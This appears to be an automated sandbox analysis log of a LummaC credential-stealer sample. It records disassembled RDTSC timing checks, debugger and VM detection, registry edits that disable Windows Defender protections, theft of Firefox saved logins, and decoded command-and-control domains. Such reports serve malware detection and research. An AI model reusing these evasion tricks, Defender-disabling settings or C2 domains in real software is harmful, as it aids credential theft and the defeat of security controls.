Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A90856 second address: 4A90904 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE4A91B79EBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b test ecx, ecx 0x0000000d jmp 00007FE4A91B79F6h 0x00000012 jns 00007FE4A91B7A37h 0x00000018 pushad 0x00000019 pushfd 0x0000001a jmp 00007FE4A91B79EEh 0x0000001f add cl, 00000018h 0x00000022 jmp 00007FE4A91B79EBh 0x00000027 popfd 0x00000028 movzx ecx, di 0x0000002b popad 0x0000002c add eax, ecx 0x0000002e pushad 0x0000002f pushfd 0x00000030 jmp 00007FE4A91B79F1h 0x00000035 adc al, FFFFFFB6h 0x00000038 jmp 00007FE4A91B79F1h 0x0000003d popfd 0x0000003e mov dx, cx 0x00000041 popad 0x00000042 mov ecx, dword ptr [ebp+08h] 0x00000045 pushad 0x00000046 mov eax, 2BE6FD9Fh 0x0000004b pushad 0x0000004c mov esi, 77A0D531h 0x00000051 movzx esi, bx 0x00000054 popad 0x00000055 popad 0x00000056 test ecx, ecx 0x00000058 push eax 0x00000059 push edx 0x0000005a pushad 0x0000005b jmp 00007FE4A91B79F2h 0x00000060 push esi 0x00000061 pop edi 0x00000062 popad 0x00000063 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A80373 second address: 4A8037C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, 852Dh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A8037C second address: 4A803F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jmp 00007FE4A91B79F9h 0x0000000d xchg eax, ebp 0x0000000e pushad 0x0000000f mov ecx, 79033BD3h 0x00000014 call 00007FE4A91B79F8h 0x00000019 mov ch, B0h 0x0000001b pop ebx 0x0000001c popad 0x0000001d mov ebp, esp 0x0000001f pushad 0x00000020 push ecx 0x00000021 movsx ebx, si 0x00000024 pop ecx 0x00000025 mov edx, 39EBC334h 0x0000002a popad 0x0000002b sub esp, 2Ch 0x0000002e push eax 0x0000002f push edx 0x00000030 pushad 0x00000031 mov di, cx 0x00000034 pushfd 0x00000035 jmp 00007FE4A91B79F0h 0x0000003a add al, FFFFFFE8h 0x0000003d jmp 00007FE4A91B79EBh 0x00000042 popfd 0x00000043 popad 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A803F8 second address: 4A803FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A803FE second address: 4A80402 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A80402 second address: 4A80427 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE4A9009D0Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov bh, B7h 0x00000011 call 00007FE4A9009D0Ch 0x00000016 pop eax 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A80427 second address: 4A8042D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A8042D second address: 4A80431 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A80431 second address: 4A80449 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FE4A91B79EBh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A80449 second address: 4A8044D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A8044D second address: 4A80453 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A80453 second address: 4A80468 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, cx 0x00000006 mov di, cx 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xchg eax, ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 mov dl, 70h 0x00000012 push eax 0x00000013 pop ebx 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A805E9 second address: 4A805FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE4A91B79EEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A805FB second address: 4A8062C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 jmp 00007FE4A9009D0Ch 0x0000000e mov dword ptr [esp], eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FE4A9009D17h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A806C4 second address: 4A806FD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE4A91B79EFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 js 00007FE4A91B7A22h 0x0000000f pushad 0x00000010 mov edx, ecx 0x00000012 pushad 0x00000013 mov si, 689Dh 0x00000017 movzx ecx, di 0x0000001a popad 0x0000001b popad 0x0000001c cmp dword ptr [ebp-14h], edi 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 push eax 0x00000023 pop edx 0x00000024 jmp 00007FE4A91B79EAh 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A806FD second address: 4A8072D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE4A9009D0Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007FE51AEE7A95h 0x0000000f pushad 0x00000010 mov al, 61h 0x00000012 movsx ebx, ax 0x00000015 popad 0x00000016 mov ebx, dword ptr [ebp+08h] 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007FE4A9009D0Fh 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A8072D second address: 4A80733 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A80733 second address: 4A80737 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A80737 second address: 4A80792 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 lea eax, dword ptr [ebp-2Ch] 0x0000000b pushad 0x0000000c mov dx, cx 0x0000000f popad 0x00000010 xchg eax, esi 0x00000011 pushad 0x00000012 pushfd 0x00000013 jmp 00007FE4A91B79F0h 0x00000018 add ch, 00000018h 0x0000001b jmp 00007FE4A91B79EBh 0x00000020 popfd 0x00000021 movzx ecx, di 0x00000024 popad 0x00000025 push eax 0x00000026 jmp 00007FE4A91B79F2h 0x0000002b xchg eax, esi 0x0000002c pushad 0x0000002d call 00007FE4A91B79EEh 0x00000032 push eax 0x00000033 push edx 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A80792 second address: 4A807CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 mov dx, 5554h 0x00000009 popad 0x0000000a push eax 0x0000000b pushad 0x0000000c mov bx, cx 0x0000000f mov esi, 63D5C131h 0x00000014 popad 0x00000015 mov dword ptr [esp], eax 0x00000018 pushad 0x00000019 mov di, si 0x0000001c mov ax, EF25h 0x00000020 popad 0x00000021 xchg eax, ebx 0x00000022 jmp 00007FE4A9009D10h 0x00000027 push eax 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b push edx 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A807CB second address: 4A807CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A807CF second address: 4A807D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A807D3 second address: 4A807D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A807D9 second address: 4A807EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE4A9009D12h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A80835 second address: 4A80021 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE4A91B79F9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test esi, esi 0x0000000b jmp 00007FE4A91B79EEh 0x00000010 je 00007FE51B0957D9h 0x00000016 xor eax, eax 0x00000018 jmp 00007FE4A919111Ah 0x0000001d pop esi 0x0000001e pop edi 0x0000001f pop ebx 0x00000020 leave 0x00000021 retn 0004h 0x00000024 nop 0x00000025 cmp eax, 00000000h 0x00000028 setne cl 0x0000002b xor ebx, ebx 0x0000002d test cl, 00000001h 0x00000030 jne 00007FE4A91B79E7h 0x00000032 jmp 00007FE4A91B7B5Bh 0x00000037 call 00007FE4AD930C85h 0x0000003c mov edi, edi 0x0000003e push eax 0x0000003f push edx 0x00000040 pushad 0x00000041 call 00007FE4A91B79F8h 0x00000046 pop esi 0x00000047 push ebx 0x00000048 pop eax 0x00000049 popad 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A80021 second address: 4A80027 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 32EB61 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 32EB57 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 4DA594 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 55BE9A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\HTUSFB9YFV610YTCBWQ47HFA41LN0.exe	Special instruction interceptor: First address: D3DC83 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\HTUSFB9YFV610YTCBWQ47HFA41LN0.exe	Special instruction interceptor: First address: F0DD86 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\HTUSFB9YFV610YTCBWQ47HFA41LN0.exe	Special instruction interceptor: First address: EF5A64 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\HTUSFB9YFV610YTCBWQ47HFA41LN0.exe	Special instruction interceptor: First address: D3DBE5 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\HTUSFB9YFV610YTCBWQ47HFA41LN0.exe	Memory allocated: 51E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HTUSFB9YFV610YTCBWQ47HFA41LN0.exe	Memory allocated: 5330000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HTUSFB9YFV610YTCBWQ47HFA41LN0.exe	Memory allocated: 7330000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\HTUSFB9YFV610YTCBWQ47HFA41LN0.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HTUSFB9YFV610YTCBWQ47HFA41LN0.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HTUSFB9YFV610YTCBWQ47HFA41LN0.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\HTUSFB9YFV610YTCBWQ47HFA41LN0.exe

Code function: 5_2_00EBA7ED rdtsc

5_2_00EBA7ED

Source: C:\Users\user\AppData\Local\Temp\HTUSFB9YFV610YTCBWQ47HFA41LN0.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\Desktop\file.exe TID: 6136	Thread sleep time: -150000s >= -30000s			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HTUSFB9YFV610YTCBWQ47HFA41LN0.exe TID: 5024	Thread sleep time: -922337203685477s >= -30000s			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\AppData\Local\Temp\HTUSFB9YFV610YTCBWQ47HFA41LN0.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: file.exe, 00000000.00000002.2364480307.00000000004B1000.00000040.00000001.01000000.00000003.sdmp, HTUSFB9YFV610YTCBWQ47HFA41LN0.exe, HTUSFB9YFV610YTCBWQ47HFA41LN0.exe, 00000005.00000002.2522058195.0000000000EC3000.00000040.00000001.01000000.00000006.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000003.2209683493.0000000005466000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: file.exe, 00000000.00000003.2209683493.0000000005466000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: file.exe, 00000000.00000003.2209683493.0000000005466000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: file.exe, 00000000.00000003.2209683493.0000000005466000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696487552f
Source: file.exe, 00000000.00000003.2209683493.0000000005466000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: file.exe, 00000000.00000003.2209683493.0000000005466000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: file.exe, 00000000.00000002.2365962583.0000000000BB7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2365962583.0000000000B4E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000003.2209683493.0000000005466000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: file.exe, 00000000.00000003.2209683493.0000000005466000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: file.exe, 00000000.00000003.2209683493.0000000005466000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: file.exe, 00000000.00000003.2209683493.0000000005466000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696487552
Source: file.exe, 00000000.00000003.2209683493.0000000005466000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: file.exe, 00000000.00000003.2209683493.000000000546B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696487552p
Source: file.exe, 00000000.00000003.2209683493.0000000005466000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696487552
Source: file.exe, 00000000.00000003.2209683493.0000000005466000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: file.exe, 00000000.00000003.2209683493.0000000005466000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: file.exe, 00000000.00000003.2209683493.0000000005466000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: file.exe, 00000000.00000003.2209683493.0000000005466000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: file.exe, 00000000.00000003.2209683493.0000000005466000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: file.exe, 00000000.00000003.2209683493.0000000005466000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: file.exe, 00000000.00000003.2209683493.0000000005466000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: file.exe, 00000000.00000003.2209683493.0000000005466000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: file.exe, 00000000.00000003.2209683493.0000000005466000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: file.exe, 00000000.00000003.2209683493.0000000005466000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: file.exe, 00000000.00000003.2209683493.0000000005466000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: file.exe, 00000000.00000003.2209683493.0000000005466000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: file.exe, 00000000.00000003.2209683493.0000000005466000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: file.exe, 00000000.00000003.2209683493.0000000005466000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: file.exe, 00000000.00000003.2209683493.0000000005466000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: file.exe, 00000000.00000003.2209683493.0000000005466000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: file.exe, 00000000.00000003.2209683493.0000000005466000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: file.exe, 00000000.00000002.2365962583.0000000000B9F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWL
Source: file.exe, 00000000.00000002.2364480307.00000000004B1000.00000040.00000001.01000000.00000003.sdmp, HTUSFB9YFV610YTCBWQ47HFA41LN0.exe, 00000005.00000002.2522058195.0000000000EC3000.00000040.00000001.01000000.00000006.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: file.exe, 00000000.00000003.2209683493.0000000005466000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: file.exe, 00000000.00000003.2209683493.0000000005466000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HTUSFB9YFV610YTCBWQ47HFA41LN0.exe	Thread information set: HideFromDebugger			Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\HTUSFB9YFV610YTCBWQ47HFA41LN0.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\HTUSFB9YFV610YTCBWQ47HFA41LN0.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\HTUSFB9YFV610YTCBWQ47HFA41LN0.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\HTUSFB9YFV610YTCBWQ47HFA41LN0.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\HTUSFB9YFV610YTCBWQ47HFA41LN0.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\HTUSFB9YFV610YTCBWQ47HFA41LN0.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\HTUSFB9YFV610YTCBWQ47HFA41LN0.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\HTUSFB9YFV610YTCBWQ47HFA41LN0.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\HTUSFB9YFV610YTCBWQ47HFA41LN0.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\HTUSFB9YFV610YTCBWQ47HFA41LN0.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\HTUSFB9YFV610YTCBWQ47HFA41LN0.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HTUSFB9YFV610YTCBWQ47HFA41LN0.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HTUSFB9YFV610YTCBWQ47HFA41LN0.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HTUSFB9YFV610YTCBWQ47HFA41LN0.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\HTUSFB9YFV610YTCBWQ47HFA41LN0.exe

Code function: 5_2_00EBA7ED rdtsc

5_2_00EBA7ED

Source: C:\Users\user\AppData\Local\Temp\HTUSFB9YFV610YTCBWQ47HFA41LN0.exe

Code function: 5_2_00D3B7DE LdrInitializeThunk,

5_2_00D3B7DE

Source: C:\Users\user\AppData\Local\Temp\HTUSFB9YFV610YTCBWQ47HFA41LN0.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\HTUSFB9YFV610YTCBWQ47HFA41LN0.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

LummaC encrypted strings found

Source: file.exe, 00000000.00000002.2363956011.00000000002D1000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: scriptyprefej.store
Source: file.exe, 00000000.00000002.2363956011.00000000002D1000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: navygenerayk.store
Source: file.exe, 00000000.00000002.2363956011.00000000002D1000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: founpiuer.store
Source: file.exe, 00000000.00000002.2363956011.00000000002D1000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: necklacedmny.store
Source: file.exe, 00000000.00000002.2363956011.00000000002D1000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: thumbystriw.store
Source: file.exe, 00000000.00000002.2363956011.00000000002D1000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: fadehairucw.store
Source: file.exe, 00000000.00000002.2363956011.00000000002D1000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: crisiwarny.store
Source: file.exe, 00000000.00000002.2363956011.00000000002D1000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: presticitpo.store

Source: file.exe, 00000000.00000002.2364968573.00000000004F5000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 4Program Manager
Source: HTUSFB9YFV610YTCBWQ47HFA41LN0.exe, 00000005.00000002.2522229781.0000000000F19000.00000040.00000001.01000000.00000006.sdmp	Binary or memory string: sOProgram Manager

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\HTUSFB9YFV610YTCBWQ47HFA41LN0.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Jump to behavior

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1	Jump to behavior

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\HTUSFB9YFV610YTCBWQ47HFA41LN0.exe

Registry value created: TamperProtection 0

Jump to behavior

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\HTUSFB9YFV610YTCBWQ47HFA41LN0.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HTUSFB9YFV610YTCBWQ47HFA41LN0.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HTUSFB9YFV610YTCBWQ47HFA41LN0.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations	Jump to behavior

Source: file.exe, file.exe, 00000000.00000003.2266271086.0000000000C19000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2288118028.0000000000C1A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2366371897.0000000000C1B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2263527453.0000000000C19000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2254809065.0000000000C1A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2254734224.0000000000C19000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2359748216.0000000000C1A000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: file.exe PID: 6776, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\logins.json	Jump to behavior
